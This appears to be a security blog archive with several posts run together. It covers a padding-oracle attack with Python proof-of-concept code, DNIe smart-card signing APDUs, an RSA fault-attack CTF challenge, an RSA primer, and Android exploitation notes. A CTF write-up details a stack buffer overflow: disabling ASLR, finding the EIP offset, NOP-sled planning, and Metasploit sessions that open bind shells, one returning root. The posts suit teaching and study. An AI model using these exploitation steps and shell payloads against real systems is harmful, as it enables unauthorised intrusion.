Padding Oracle attacks were introduced in 2002 in paper [1]. After that, several other papers have presented similar attacks based on the same concept for other padding schemes. In this post, I will restrict myself to the padding scheme presented in [1] and will add a list of references at the end for further reading.

Oracles and Padding Oracles

In cryptography, an oracle is basically a black box that responds to queries. For instance, an encryption oracle will encrypt any input you give to it under a certain key. A random oracle will always respond with uniformly random data, and this is useful to model protocols based on hash functions.

In our case, we are interested on padding oracles (PO). A PO is a sort of black box that decrypts an input message and tells you whether the padding was correct or not. For instance, think of an application that receives an input ciphertext and decrypts it using a block cipher.

Since a block cipher encrypts data in chunks of a given size, whenever the data to be encrypted does not fit exactly in a number of chunks it needs to be padded. Thus, after decryption our example application will check the padding applied and will throw an exception if the padding is incorrect. If it is correct, it will just continue with its normal processing.

As you can see, this application is an example of a padding oracle because it is telling us whether the padding is correct or not. We can check the behavior of the application and when we observe an exception we know that the padding was incorrect. When we do not, we know it was correct.

Mounting attacks based on padding oracles

So, how can we use such a PO to mount an attack on the system? The answer is it depends on the underlying cipher mode and on whether it is used properly or not, of course. Assuming the application uses a cipher in CBC mode, and it does only use encryption but no authentication, we can feed the application with specially crafted ciphertext and make assumptions about the plaintext based on the response.

Before going into the attack method, let's define the padding system we are going to look at. The PKCS#5 standard defines a padding scheme that works as follows: If the message length is a multiple of the block length, the padding scheme adds an extra block with all bytes set to the number of bytes in a block. Otherwise, the remaining bytes will be set to the number of padding bytes that need to be added to have an exact number of blocks.

If the block size is 8 bytes, then for a 7 bytes message you will add a byte set to 01; for a 6 bytes message, 2 bytes set to 02, and so on. I bet you get the idea

Now, when you decrypt in CBC mode, the process works as described earlier in this blog: first you decrypt a block, and then XOR it with the previous ciphertext block (or the IV if it is the initial block). This means that if you get a random data block, then append a target ciphertext block to it, and feed it into the random oracle, you will know whether the decryption of your ciphertext block XORed with your random data adheres to the padding scheme or not.

So, now we know that the decrypted message XORed our random data ends with either 1 byte set to 0x01, or 2 bytes set to 0x02, or 3 bytes set to 0x03, etc. In the most likely case, you'll be lucky with the first option. However, you still need to check, since it might be that by chance you got one of the other options.

How do you know then? Easy: start modifying bytes one at a time and feed them to the Oracle. To make it generic, start from the left-most byte. Modify it, and check with the oracle if the padding is incorrect. If it is incorrect, that means this byte was part of the padding, so the whole thing should be all 0x08's (assuming 8 byte blocks). If it is correct, continue with the next byte until you see that the padding turns incorrect or you reach the last byte.

This is what the original last byte decryption algorithm describes:

1. pick a few random bytes r1 , . . . , rb and take i = 0
2. pick r = r1 . . . rb-1 (rb XOR i)
3. if O(r|y) = 0 then increment i and go back to the previous step
4. replace rb by rb XOR i
5. for n = b down to 2 do
(a) take r = r1 . . . rb-n (rb-n+1 XOR 1)rb-n+2 . . . rb
(b) if O(r|y) = 0 then stop and output (rb-n+1 XOR n) . . . (rb XOR n)
6. output rb XOR 1

In the description above, b is the number of bytes in a block. In steps 1 to 3 it is discovering the last byte as I explained above. It creates b random bytes, and modifies only the last one until it gets a message with the right padding. Then it replaces this last byte with the correct value.

Now, using this value for r it has a good padding, so it starts modifying the bytes from the top and checking if this changes the results. If the result is not affected in any of the cases, then the last byte was set to 0x01 after decryption, and this means the last byte of the decrypted plaintext is our random byte rb XORed with 0x01. The same holds for the other cases, only that you need to XOR the random bytes with the appropriate value.

So the above algorithm works for the last byte, and if you are lucky for some other bytes as well. How do we turn it into a block decryption oracle?

Quite simple: assuming you know the final X bytes, generate a random block that after XORing with those known bytes sets the result to X+1. Now, the final block ends with an unknown byte followed by X bytes set to X+1... so now you start trying values to XOR with that unknown byte until you get a good padding response. At that point, you know that this unknown byte XORed the random data you supplied must give X+1 as a result to form a good padding (remember, good padding = Y last bytes set to a value Y).

So now you know one more byte, and you only need to iterate all the way till the end of the block to finish the decryption. The following algorithm was provided in the original paper:

1. take rk = ak XOR (b - j + 2) for k = j, . . . , b
2. pick r1 , . . . , rj-1 at random and take i = 0
3. take r = r1 . . . rj-2 (rj-1 XOR i) rj . . . rb
4. if O(r|y) = 0 then increment i and go back to the previous step
5. output rj-1 XOR i XOR (b - j + 2)

In this case, ak with k=j,...,b are the bytes you know. In step 1 you generate the random bytes that would set the final bytes to the appropriate value. Then you add some random numbers to them, and loop through the possible values for the unknown byte until you find the one that creates a proper padding (step 4). From this one, you construct the value for the unknown byte and return it in step 5.

Implementing the attack in Python

To make sure I understood what I explained above in the right way, I created a small python class able to decrypt any input block given a padding oracle. The class constructor takes an input block size together with a padding oracle in the form of a function returning a boolean value.

This means you can construct your own padding oracle function in python, which will simply return True or False depending on whether the padding was correct or not. This function can be a simple POC to test the concept or can be a function using a padding oracle present on a web site or whatever you can think of. See the presentation by Juliano Rizzo and Thai Duong ([3]) linked at the end for ideas .

By the way, the code quality might not be very good and some things might be done easier in Python than I've done them. I'm pretty new to Python so if you see anything you think should be changed let me know . As for the code, you can do whatever you like with it.

As an example, I've used the following code to test the class:

'''
Created on Jul 4, 2010
 
@author: Eloi Sanfelix < eloi AT limited-entropy.com >
'''
 
from PaddingOracle.DecryptionOracle import DecryptionOracle
from Crypto.Cipher import DES
import random
import struct
 
def hex_string(data):
    x = struct.unpack("B"*len(data),data)
    return "".join([ hex(i)+" " for i in x])
 
#Random key globally initialized 
key = "".join([struct.pack("B",random.getrandbits(8)) for i in range(8) ])
 
def oracle(ctext):
    oracleCipher = DES.new(key,DES.MODE_CBC,"\x00"*8)
    ptext = oracleCipher.decrypt(ctext)
 
    paddingLen = struct.unpack("B",ptext[-1])[0]
    goodPadding = (ptext[-paddingLen:] == struct.pack("B",paddingLen)*paddingLen)
 
    return goodPadding
 
if __name__ == '__main__':
 
    #Random 2 block plaintext
    bytes = ""
    data = "".join([struct.pack("B",random.getrandbits(8)) for i in range(16) ])
    print "Plaintext: "+hex_string(data)
 
    cipher = DES.new(key,DES.MODE_CBC,"\x00"*8)
    ctext = cipher.encrypt(data)
 
    print "Ciphertext: "+hex_string(ctext)
 
    decryptOracle = DecryptionOracle(oracle,8)
 
    #Recover first block
    result = decryptOracle.decrypt_message(ctext)
 
    if(data == result ):
        print "CORRECT ptext recovered: "+hex_string(result)
    else:
        print "INCORRECT ptext recovered: "+hex_string(result)

Which provided the following output:

eloi:~/dev/PaddingOracle/src$ python PaddingOracleTest/DesPaddingOracle.py 
Plaintext: 0xd4 0xe2 0x4b 0xdf 0xed 0xad 0x75 0x58 0xfa 0x0 0xa5 0x45 0x17 0xc7 0x9b 0x5f 
Ciphertext: 0x98 0x8 0xd8 0xaf 0x69 0xab 0x34 0xe1 0x4a 0x61 0xa7 0x34 0xb2 0xc8 0xf 0x2b 
CORRECT ptext recovered: 0xd4 0xe2 0x4b 0xdf 0xed 0xad 0x75 0x58 0xfa 0x0 0xa5 0x45 0x17 0xc7 0x9b 0x5f 
eloi:~/dev/PaddingOracle/src$

You can see it works for my test case. I also tested it using AES encryption insted of DES and it works fine there too, which gives me confidence enough that the concepts above are correctly explained and the tool works appropriately

You can download the whole package with my DecryptionOracle class and the test cases here.

Hope you enjoyed it and I'm looking forward to see your feedback in the comments!

References

There is more to padding oracle attacks than exposed here. If you want to know more, you can check the following resources. I might be implementing other attacks as well in the future, but the fastest way to know more will be to read these papers:

[1] Security Flaws Induced by CBC Padding. Applications to SSL, IPSEC, WTLS... - S. Vaudenay - Download here
[2] Padding Oracle Attacks on the ISO CBC Mode Encryption Standard - K.G Patterson and A. Yau . Download here
[3] Practical Padding Oracle Attacks . Juliano Rizzo and Thai Duong . Download here

I'll start off with the description of the standard and continue with an explanation on how the DNIe drivers do it. Yes, you are reading it right, they use different APDUs than the ones defined in CWA14890, at least in the OpenSC module I'm using as a base for this analysis.

Electronic signatures in CWA14890

According to the CWA14890 specifications, in order to ask the card to compute an electronic signature one has to load a hash value into the card. The hash value can be computed completely on card, partially on card or completely off card.

This means you can choose between sending the plaintext data to the card and let it hash it, compute part of the hash outside the card and send an intermediate result together with the rest of the data or compute the complete hash on yourself. This is done with the following APDUs (copy-paste from the standard):

1. On card hashing

PSO( INS = ‘2A’, // PERFORM SECURITY OPERATION
P1 = ‘90’, // return hash code if required by Le
P2 = ‘80’, // plain value
data = plain data to be hashed)

2. Hashing partially on card

PSO( INS = ‘2A’, // PERFORM SECURITY OPERATION
P1 = ‘90’, // return hash code if required by Le
P2 = ‘A0’, // input template for hash computation
data = ‘90’ L90 <intermediate hash result> || ‘80’ L80 <rest of the data> ;

3. Hashing off-card

PSO( INS = ‘2A’, // PERFORM SECURITY OPERATION
P1 = ‘90’, // return hash code if required by Le
P2 = ‘A0’, // input template for hash computation
data = ‘90’ L90 <hash value>

Now, once the card has a working hash, you can ask it to compute an electronic signature with this APDU:

PSO( INS = ‘2A’, // PERFORM SECURITY OPERATION
P1 = ‘9E’, // COMPUTE DIGITAL SIGNATURE
P2 = ‘9A’, // data to be signed
data = absent) // data already in ICC

In our case, the DNIe requires these messages to be sent using secure messaging. Further, it requires to perform user authentication (i.e. sending the PIN) before the signature command is issued. Also, before calling the PSO - Compute Digital Signature command we should select the desired private key with a Manage Security Environment command.

Therefore, the sequence of commands to request a signature from the card after establishing a secure channel could be something like this:

1. VERIFY: wrap(0C 20 00 00 Lc PIN)
2. Manage Security Environment command: wrap(0C 22 41 B6 Lc 84 L84 <keyid>)
3. Hash command: wrap(0C 2A 90 80 Lc <plain data>)
4. Sign command: wrap(0C 2A 9E 9A 00)

Where wrap means wrapping the APDU using Secure Messaging. This means encrypting the data and adding a MAC to authenticate the APDU header and the data.

Signing: the libopensc-dnie way

As I was saying, the procedure described above complies with the CWA14890 specs. And there I was trying to get it working using the APDUs defined in CWA14890 and scanning through my logs, when I realized that I could not find those APDUs anywhere in the logs! WTF? Could they be doing things in a different way?

As I was puzzled by the logs, I decided to go to the source of these APDUs: the binary driver.

Loading that driver into IDA Pro, I could easily find the function that implements the signature process. Reversing that function a bit, one can find out that the following communication happens when a signature is requested:

1. The data to be signed (direct input to the RSA signature operation, padding performed outside the card if needed) is loaded into the card with this command: wrap(9C 58 00 Lc <data>)
2. A signature is requested by the card with the following command: wrap(9C 5A 80 <keyRef> 00). Here <keyRef> is 01 for your authentication key and 02 for signing key.
3. The initial response is parsed and more data is obtained using Get Response if needed (i.e. if SW1=0x61, then there are SW2 bytes available).

So there we got it, they are actually using something that does not adhere to the CWA14890 standard! I'm quite sure I must have been doing something wrong when trying to get it working the CWA14890 way, but since I don't have the complete documentation I found this way much easier... although it required some reversing with the help of IDA and the sources for OpenSC.

Further work

With the information I've dumped into these three posts on the DNIe, anyone interested should be able to understand how this device works and how electronic signatures are requested from it.

Some more work would need to be done in order to completely understand the interface the device provides and to make a fully compliant open source driver. As far as I know, most of the work left now should be related to understanding the file system structure, and of course implementing all this in an open source driver if desired.

On my side, this completes the analysis of the device for now. I'll conclude this series of posts with an article giving tips on how to find some of the information needed to implement the communication, including some links to source code that might be useful.

Unfortunately I can't share my code because part of it has been reused from non-public sources. Anyway, I think the information available in these posts together with the key for device authentication is all you need.

I was asked to prepare a cryptography challenge for it, and I delivered a little problem that became the level 4 challenge in the crypto category. The problem is based around RSA with 2048 bit keys and AES in ECB mode with 128 bit keys.

The idea was to give some real crypto instead of the typical break-classic-crypto or find-the-needle-in-the-haystack challenges. Of course, I am not asking you to factor an RSA-2048 modulo (well, I am, in a way...) nor breaking AES in a mathematical sense because that is not feasible nowadays. You have to find the trick .

Want to challenge yourself? Give it a try!

I'll leave the challenge here, and the solution will be published in SecurityByDefault in some time. If you have questions or want to share ideas with me you can use the comments, but please do not spoil the solution for other readers!

These are the instructions:

Dear agent,

In one of our missions we have intercepted an email containing a file encrypted with AES in ECB mode with a 128 bit key. Together with the file there was what we suspect is the AES key encrypted with a 2048 RSA key, which we found to be as follows:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6FJCdwpmaYxkSWFa1I9w
5f9/ScpFM0N9hTZ+GvOPMao1lI6zP5eI9xZKHdXDh1v4a2k72MyC4svL0Bz30bRR
72fLcpD6eQ7hAiTjcls3trw9U1banQ+6weBrsm/yQwPZBtPJZsgbGZp4ue8CKw+5
KOWC/AzgKVf2sWQhAfkug0qrRySe5AjCkdP86HLBRGkSMTf02kkoAHUDNkcgafTi
S0oOPuUVha54aEOjwDlhwhKh45TScegmFMTnqh1dpBYBH5tAgajkcGV1Gt7eUdCQ
l/uKQay+LlRcttQEQB1ZFsP2hhbpZnmzX3d0qeRCsZh0FLAi7gbwD6w93bYUGUPl
UwIDAQAB
-----END PUBLIC KEY-----

The encrypted AES key is as follows:

19303a82cbc50a56dc22f9aafc554da2ea632e33bee1d33c35edb13269ba0fd2fa791744e86eda7fc1cb15433f1232f86a42afcd5470215ccf0d05096ce1b8f075e6dc45df74896345297fcc145a4765aeaea78babaa6441ead3a2e73b37931dc7c07d4e04b7115284c7c04c85a61c7e555194d0f4ee762d47a8aeec2efcd75ee45e3e6a65f876f9a67aa01016f3ce9552d8f0b50cc150c70333aa6ac3a4ac8860d2879cad8439566f0ffda32612cb75dd9c1b456a4e1828582f05932f495452f19d71f300f2f48b8c1f8cde1b1b8d8ada3f6ff506e10d5d18d91d61402bc36756a88196381ff795980eee932a179525264e3a968f0abe9edbe672560c41833a

Although it was a tough mission, our Operations team did a great job and was able to provide the following information on the target:

- It uses a cryptographic device that contains a 1024 bit modular exponentiation accelerator
- The device uses the same key for decryption and for signature generation

In addition, the Operations team modified the hardware used by our target and was able to collect a pair of RSA signatures over the same data. One of these signatures contains a fault injected thanks to our hardware modification, while the other one is the correct signature. These are the signature values:

S1:
3ae81964c8ecf1524b47c42cb0ecd2a3b6768dccd55960d7ff0a998f839b8c312a2cd821c270ae961777dd4dd50aa631fe823a8afd914911adf69c1c6cfda3b3aed01dad372cfdd6e9f63a4cc39e1a455cbfd04dea72bf07c4790d5fec469198ce28113d6d38a7baced9d3c3695ab27cbc5ab434aa8d2b5f53f66a383e079ddaed485d4a2b446e410eafcadbba9f159494c28c4a19fd416dff90f8c141e96d8260f8e6e0901832e31899c48ce0cbdae6a24595a19a01e490c87e7b48860e09006920d8ef7384217358c6db90638d6e8cbc795a091240f24105d8f3b27fe4b98fe9a507e00590b4cded41777b1b8967b0f752231e0e856b8f0132bde30a6e082e

S2:
391e0340e5931a202012572ddacad877e5af3a1d846b70c1e64e3041f9ac0a3c7e8f82621df908eadca44fe777a6b1c799610be829e13ca233982fd268034addb5a79fa19f984631fdf3a61d32fc75ed77176c7a0b719504e804076dca66f10111aa124a7efe743ada75dda2ec53f3c28882a7724928685918261739f960a3648aa3eadc426181aa146a8ba0ff20f1c53de2113e0196af09595dc2ad1a0fe12096ff681f61363044615a7f72edf1f8c6531055e66c1e5f4498434c731d2308fecae46c779379ea3d7d7a5f1c2a0efeb5bc1b8a4af4fb21fce1dae943c27043e86642b3b1e6b889a31e7c4bc01bc2ebae4dc8432344532567d1d3df8b9bcafcbf

Unfortunately, the team was not able to obtain the private RSA key nor decrypt the AES file. It is critical for the mission to obtain the contents of the encrypted file. Your task is to obtain the contents of the AES file.

Good luck!

PS: All RSA operations are RAW operations. This means no padding, just modular exponentiation. For keys smaller than the modulus, the padding is null (i.e. zero bytes).

And the file encrypted with AES can be found here.

Despite this fact, the algorithm seems to have been invented by Clifford Cocks, a british mathematician who worked for a UK intelligence agency. Since this work was never published due to the top-secret classification, the algorithm received its name from Rivest, Shamir and Adleman who were the first to discuss it publicly. A document declassified in 1997 revealed the fact that Clifford Cocks had actually described an equivalent system in 1973.

Let me remind you once again that these posts are not intended to be 100% accurate in a mathematical sense, but an introduction for people who doesn't know much about cryptography. If you want more accurate and complete descriptions, take a crypto book such as the Handbook of Applied Cryptography I've linked in most of my posts .

Setting up the RSA algorithm

The RSA algorithm is based on the assumption that integer factorization is a difficult problem. This means that given a large value n, it is difficult to find the prime factors that make up n.

Based on this assumption, when Alice and Bob want to use RSA for their communications, each of them generates a big number n which is the product of two primes p,q with approximately the same length.

Next, they choose their public exponent e, modulo n. Typical values for e include 3 (which is not recommended!) and (65537). From e, they compute their private exponent d so that:

Where is the Euler's totient of n. This is a mathematical function which is equal to the number of numbers smaller than n which are comprimes with n, i.e. numbers that do not have any common factor with n. If n is a prime p, then its totient is p-1 since all numbers below p are comprimes with p.

In the case of the RSA setup, n is the product of two primes. In that case, the resulting value is lcm((p-1)(q-1)) because only the multiples of p and q are not comprimes with n.

Once our two parties have their respective public and private exponents, they can share the public exponents and the modulus they computed.

Encryption with RSA

Once the public key (i.e. e and n) of the receiving end of the communication is known, the sending party can encrypt messages like this:

When this message is received, it can be decrypted using the private key and a modular exponentiation as well:

Example

sage: p=random_prime(10000)
sage: q=random_prime(10000)
sage: n=p*q
sage: p,q,n
(883, 2749, 2427367)
sage: e=17
sage: G=IntegerModRing(lcm(p-1,q-1))
sage: d = G(e)^-1
sage: G(d)*G(e)
1
sage: m=1337
sage: G2=IntegerModRing(n)
sage: c=G2(m)^e
sage: c
1035365
sage: m_prime=G2(c)^d
sage: m_prime
1337

In the commands above, I first create two random primes below 10000 and compute n. Then I create a IntegerModRing object to compute things modulo lcm(p-1,q-1) and perform the computation of the private exponent as the inverse of the public exponent on that ring.

Next, I create a new ring modulo N. Then I can use the public exponent to encrypt a message m and use the private exponent to decipher the cryptotext c... and it works!

Correctness of RSA encryption/decryption

We have seen it works with our previous example, but that doesn't prove that it really works always. I could have chosen the numbers carefully for my example and make them work.

Euler's theorem tells us that given a number n and another number a which does not divide n the following is true:

Therefore, and since , for any message m that does not divide n the encryption and decryption process will work fine. However, for values of m that divide n we need to use more advanced maths to prove the correctness.

Another way to prove it is to use Fermat's little theorem and the Chinese Remainder Theorem. I will explain these theorems in my next post and then I will provide a complete proof based on them.

RSA for signing

In the case of RSA, digital signatures can be easily computed by just using d instead of e. So, for an RSA signature one would take message m and compute its hash H(m). Then, one would compute the signature s as:

For verifying the signature, the receiving end would have to compute the message hash H(m) and compare it to the hash contained in the signature:

Therefore, if the hash computed over the received message matches the one computed from the signature, the message has not been altered and comes from the claimed sender.

Security of RSA

In order to completely break RSA, one would have to factor n into it's two prime factors, p and q. Otherwise, computing d from e would be hard because (p-1) and (q-1) are not known and n is a large number (which means that computing its totient is also difficult).

In a few posts I will show an algorithm to solve the factorization problem. However, another way to break RSA encrypted messages would be to solve a discrete logarithm. Indeed, since , if one solves the discrete logarithm of c modulo n, the message would be recovered.

Luckily, we already know that discrete logs are not easy to compute. And in this case, solving one does not break the whole system but just one message.

You can also find Javi's post on the RootedCON here. It's in Spanish, don't say I didn't warn . You can also find the slides of our presentation here.

Examples from our presentation on Android exploitation

First things first, here is the examples we used during the presentation. As a quick summary, this is how I use the buffer overflow exploit.

First, launch the emulator and wait for it to start. Then, with adb you need to forward a couple of ports: 2000 for the vulnerable apps and whatever you like for your bind shell. Then you can launch the binary, which I had uploaded using adb push to /data/bin/myapp:

eloi@EloiLT:~/android/paper$ adb forward tcp:2000 tcp:2000
eloi@EloiLT:~/android/paper$ adb forward tcp:2222 tcp:2222
eloi@EloiLT:~/android/paper$ adb shell
# /data/bin/myapp

Now, you can launch the exploit from metasploit:

msf > use exploit/linux/misc/android_stack
msf exploit(android_stack) > set payload linux/armle/shell_bind_tcp
payload => linux/armle/shell_bind_tcp
msf exploit(android_stack) > set RPORT 2000
RPORT => 2000
msf exploit(android_stack) > set LPORT 2222
LPORT => 2222
msf exploit(android_stack) > exploit
 
[*] Started bind handler
[*] Command shell session 1 opened (127.0.0.1:55207 -> 127.0.0.1:2222)
 
[*] Command shell session 1 closed.
msf exploit(android_stack) > exploit
 
[*] Started bind handler
[*] Command shell session 2 opened (127.0.0.1:34834 -> 127.0.0.1:2222)
 
/system/bin/id
uid=0(root) gid=0(root)
exit
 
[*] Command shell session 2 closed.
msf exploit(android_stack) >

The same thing applies to the cpp_challenge demo application. You just use a different exploit, but that's it. Beware that you might have to tune some addresses on your local installation, as they are hardcoded. However, I believe they should be static for every installation.

In addition to apps and the metasploit stuff, you can also find two kernel modules. One is a simple find syscall table module, and the other one is a keyboard logger. The latter only works for linux >= 2.6.28, for earlier versions you need to change it slightly.

RootedCON mini-summary

I won't spend much time on it, as it's been quite some time already and I don't feel like writing a complete summary of it.

Overall I think it was a great event. Sure there is stuff that can be improved as everywhere, but for being the first edition it was very good. From the talks I attended, in my opinion there were great talks but also a one or two I didn't really like. On our side, we are pretty happy with the way it was received and the reactions we have seen

Besides the talks, and probably even more important, it was great to meet so many people that I'd only know through the Internet otherwise. Cheers to all of you guys, hope to see you next year at RootedCON or maybe earlier somewhere else

By the way, I updated the previous post with information on how to get the card's serial number.

Device authentication, quick reminder

As I said in the previous blog, the device authentication phase consists of the following steps:

• Certificate exchange: The terminal (IFD) requests a X.509 certificate from the card and sends its own certificate and an intermediate CA's certificate to the card
• Internal authenticate: The IFD sends a random challenge to the card and requests it to authenticate itself. This is done with an RSA signature, which is then encrypted for the IFD, and includes a 32 byte random number known as Kicc.
• External authenticate: The terminal authenticates itself, requesting a challenge from the card and sending a signed and encrypted message to the card. Again, this message includes a 32 byte random number known as Kifd.
• Key generation: both ends generate a key for encryption and a key for authentication. This is done by XORing first the two random numbers, and computing then the SHA-1 hash of the result with a constant 1 appended for the encryption key and a constant 2 for the authentication (MAC) key.

So basically at the end of this process, both ends share a pair of keys that can be used for protecting the confidentiality and the integrity of subsequent messages.

Let's see how this is done.

Confidentiality

3DES in CBC mode is used for confidentiality of the messages. When the data needs to be encrypted, the message is first padded with a 0x80 byte and as many zero bytes as needed to have a complete number of blocks (i.e. a message length multiple of 8 bytes).

Then 3DES in CBC mode with a null initialization vector is used to encrypt the data. After this, the message is inserted in what is called a Data Object in the ISO 7816-4 standard. Concretely, the cryptogram DO used in the E-SIGN specs has a tag equal to 0x87. DOs are a TLV structure, which means they have a Tag identifying the kind of information they carry, a Length byte indicating how many bytes of content they carry, and a Value field with the indicated number of bytes.

In this case, DO 0x87 carries the a Padding Indicator (PI) equal to 0x01 (this indicates the padding described above, starting with 0x80 and continuing with bytes set to 0x00) followed by the cryptogram.

Authentication

Authentication of messages is performed using a MAC based on the DES/3DES algorithm. After encrypting the required content, a MAC is computed over the APDU (or TPDU) header and the Data field. It should be noted that the Data field may contain not only DO 0x87 but also other DOs including plain text information, status word information in the case of response APDUs and others.

Before computing any MAC, the Send Sequence Counter is created by concatenating the 4 least significant bytes of RND.ICC and the 4 least significant bytes of RND.IFD. These are the 8 byte challenges created during the authentication process as explained above and in the previous post.

This SSC is used as an initialization vector for the MAC computation, which encrypts the data to be authenticated using DES in CBC mode, except for the last block which is encrypted using 3DES. The output of this last encryption is then used as the MAC. As before, the message is padded with a 0x80 byte and as many zero bytes as needed before applying the encryption process.

Actually, only the 4 most significant bytes of this value are included in the message and they are included in a DO 0x8E. Again, this is a TLV structure, with tag 0x8E, length 0x04 and Value equal to those 4 most significant bytes of the computed MAC.

Finally, the SSC value is incremented for each authenticated message. Therefore, both ends should keep track of the changes to this value in order to provide authenticated messages to the other end and to verify the authentication of incoming messages.

The inclusion of the sequence counter based on the random challenges used in the authentication process allows for protecting the communication against reply attacks even within the same session.

Next steps

Again, my goal is to understand how to request an electronic signature to my DNIe. Therefore, the next thing I need to do is implementing this secure messaging layer and authenticate myself to the card using my PIN code. Further, I need to send a signature request with a SHA-1 hash to be signed.

Therefore, in the coming post(s) I'll describe how this process works once Secure Messaging is set up and is used for protecting the communication.

Although I didn't register for the contest, I got a copy of one of the binaries from a friend of mine. I'm sorry to be too late for it, if I had been on time he would have won a 1000 euro prize... but I had no time due to my talk. Sorry dude!

However, yesterday morning I had some spare time after the other guys left the hotel and during my flight, so I gave it a try. Yesterday during one of the talks I did a preliminary reverse engineering session with IDA Pro and quickly spotted the flaw: as the hints said, it was a stack buffer overflow using sprintf() in the say_something function :

public say_something
say_something proc near
 
var_118= dword ptr -118h
var_114= dword ptr -114h
var_110= dword ptr -110h
var_106= byte ptr -106h
var_C= dword ptr -0Ch
arg_0= dword ptr  8
 
push    ebp
mov     ebp, esp
sub     esp, 118h
mov     [esp+118h+var_110], 3E8h
mov     [esp+118h+var_114], 0
mov     [esp+118h+var_118], offset petete
call    _memset
mov     [esp+118h+var_110], 3E8h
mov     [esp+118h+var_114], offset petete
mov     eax, [ebp+arg_0]
mov     [esp+118h+var_118], eax
call    _read
mov     [ebp+var_C], eax
mov     eax, offset aHolaS ; "Hola %s"
mov     [esp+118h+var_110], offset petete
mov     [esp+118h+var_114], eax
lea     eax, [ebp+var_106]
mov     [esp+118h+var_118], eax
call    _sprintf
mov     eax, [ebp+var_C]
add     eax, 5
mov     [esp+118h+var_110], eax
lea     eax, [ebp+var_106]
mov     [esp+118h+var_114], eax
mov     eax, [ebp+arg_0]
mov     [esp+118h+var_118], eax
call    _write
mov     [esp+118h+var_110], 1
mov     [esp+118h+var_114], offset asc_8048F3B ; "\n"
mov     eax, [ebp+arg_0]
mov     [esp+118h+var_118], eax
call    _write
leave
retn
say_something endp

They also provided an address space map from /proc/pid/maps, where one can see that the stack ends at 0xc0000000, which is the default userspace/kernelspace boundary in Linux x86. This means that ASLR is not enabled, so I just disabled it:

# echo 0 > /proc/sys/kernel/randomize_va_space

Then, I tried to exploit it launching the binary from the shell. However, the binary goes through several steps before it reaches the vulnerable code path. First it is 'daemonized': it forks and the parent process exists while the child process continues in the background. Not too bad, you can just attach to the child process with gdb, but this is not the interesting process yet. After it is daemonized, it does something along the lines of the following C code:

 
if(setuid(0x837)==-1)
    die("could not drop privs");
 
 
if((pw_struct = getpwuid(0x837))==NULL)
    die("Could not get pw entry");
 
chdir(pw_struct->pw_dir);

And then the process creates a socket and binds it to the tcp port 7878 and listens for incoming connections. Once a connection is received, it forks and serves it in the child process, while the parent process just goes back to the listen loop. This last process is the one we'd like to analyze, since this is the one calling our vulnerable function.

All this means that we'll need to do one of two things to reach this vulnerable code during our analysis: either we create a user with the uid needed or we patch the program to bypass these calls or to ask for a different uid. I took the first approach.

So what I did was connecting with netcat and attaching to the last process before sending any data. Then I sent a 300 byte pattern generated with Metasploit's pattern_create.rb:

$ nc localhost 7878
<Attach to process with gdb>
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
eloi@EloiLT:~$

This is what happens in gdb:

Program received signal SIGSEGV, Segmentation fault.
0x41376941 in ?? ()

Great. It seems we control eip and this definitely looks like part of the metasploit pattern. Let's find which part it is:

$ ./pattern_offset.rb 41376941 300
261

Allright, we have 261 bytes before we hit eip. This is a weird number, but it's due to the fact that it uses sprintf() with 5 characters in front of our input. Now we can use gdb to find where the buffer starts, and we find it at 0xbffff1c2. So this is our current situation: we can enter 261 bytes of data, then we have eip which we control, and then we have still some more room (up to the 1000 bytes read by the daemon from the network).

So, we'll just fill the buffer with junk, then an address in the middle of our nop sled (such as 0xbffff380), then some nops and then our payload. Since we do not have ASLR or anything, this will just work. We use a nop sled to count for the different environment the CTF server would have: a different list of environment variables will make the stack move slightly up or down.

Now we can make a metasploit module for it, and just launch it:

 
msf > use exploit/linux/misc/ctf_rooted 
msf exploit(ctf_rooted) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(ctf_rooted) > set encoder x86/countdown
encoder => x86/countdown
msf exploit(ctf_rooted) > exploit
 
[*] Started bind handler
[*] Command shell session 1 opened (127.0.0.1:60111 -> 127.0.0.1:2222)
id
uid=1000(eloi) gid=1000(eloi) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(eloi)
pwd
/tmp
Abort session 1? [y/N]  y

The metasploit module can be found here. You can see that it is a pretty simple module and it works fine on my local machine. Maybe you need to change something in yours (at the very least, disabling randomize_va_space is required) but it should be very similar or identical.

I did actually fill the buffer with the return address repeated many times because it failed when I was not attached with gdb and wanted to be sure I was overwriting the saved eip. I didn't investigate the reason, just solved it putting the ret address instead of nops and making a slightly bigger nop sled than I had before.

Since it is a remote exploit and the environment may vary greatly from your own machine to the CTF machine, it is possible that some bruteforcing of the return address is needed. Anyway, the daemon continues alive even if your exploit fails, so it should be no problem.

Again, I'm sorry dude I could not help you on time. Anyway, I'm sure you guys had great fun with it!

RootedCON will take place the coming week in Madrid, and I'll be there to present together with Javi some stuff about Android on Saturday. You can see our first slide spoiled by Javi on twitter here: http://twitpic.com/18f6cy

The schedule looks promising and I think we are going to have loads of fun

I'll be there the three days, so if you want to talk to me about anything interesting (info security, side channel analysis, cryptography, whatever...) or have a beer just drop by!

See you there!

The DNIe is a smart card implementing an E-SIGN application. This application is specified by the CWA-14890 documents (where CWA means CEN Workshop Agreement, and CEN means European Committee for Standardization ) and provides an interoperable framework for secure signature devices.

These devices are designed to be used for electronic signatures, and in the Spanish case it has replaced the identity document we have used for many years. It is an ISO 7816 compliant smart card, with (afaik) a custom operating system. The IC has received an EAL5+ Common Criteria certificate issued by the French scheme, while the ICC has been certified by the Spanish scheme and has obtained EAL4+.

This is all public documentation you can find on the Internet:

• EAL5+ CC certificate for the ST19WL34A issued by Serma Technologies in 2005.
